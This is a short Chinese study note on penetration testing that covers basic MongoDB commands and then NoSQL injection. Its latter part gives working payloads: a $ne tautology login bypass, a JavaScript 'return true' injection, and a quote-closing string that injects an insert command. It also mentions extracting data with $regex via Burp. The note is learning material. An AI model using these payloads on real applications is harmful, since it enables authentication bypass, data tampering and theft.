2019-10-31:渗透测试,基础学习,mongodb注入学习

时间:2023-03-09 00:33:45
2019-10-31:渗透测试,基础学习,mongodb注入学习

mongodb命令
删除文档,db.集合名.remove({键:值})
更新文档,db.集合名.update({被更新的对象},{$set:{要更新的内容}}),默认只更新检测到的第一条文档
更新全部匹配到的文档,db.集合名.update({被更新的对象},{$set:{更新的内容}},{multi :ture})

mongodb的大于小于
等于,{1:1},冒号
小于,{0:{$lt:1}},0小于1
小于或等于,{0:{$lte:1}},0小于或等于1
大于{1:{$gt:0}},1大于0
大于或等于{1:{$gte:0}},1大于或等于0
不等于{1:{$ne:0}},1不等于0
{1:{$gt:0},$or:[{1:1},{0:0}]},1大于0 and (1=1) or 0=0
db.col.find({},{"title":1,_id:0}).sort({"likes":-1}),col集合中的数据按字段likes降序排列
db.col.find({},{"title":1,_id:0}).sort({"likes":1}),col集合中的数据按字段likes降序升序排列

正则匹配:$regex 操作符来设置匹配字符串的正则表达式
db.集合名.find({name:{$regex:"^h"}}),正则查询以h开头的,^表示以什么开头

nosql注入javascript注入,js语句下直接插入恶意代码达到攻击的目的
重叠式,永真式注入
username[$ne]=1&password[$ne]=1
username=1'return true; var b='$password=1

shell拼接注入mongodb
使用“‘等闭合查询语句,之后插入需要执行的语句,就执行任意的语句,要成功需要知道数据库中集合的名字
db.messages.find({"author":" "}).sort({"addtime":-1})
"});db.messages.insert({"name":"hahaha"});db.messages.find({"author":"2

使用BP进行注入攻击获取数据
需要使用$regex去获取系统中的数据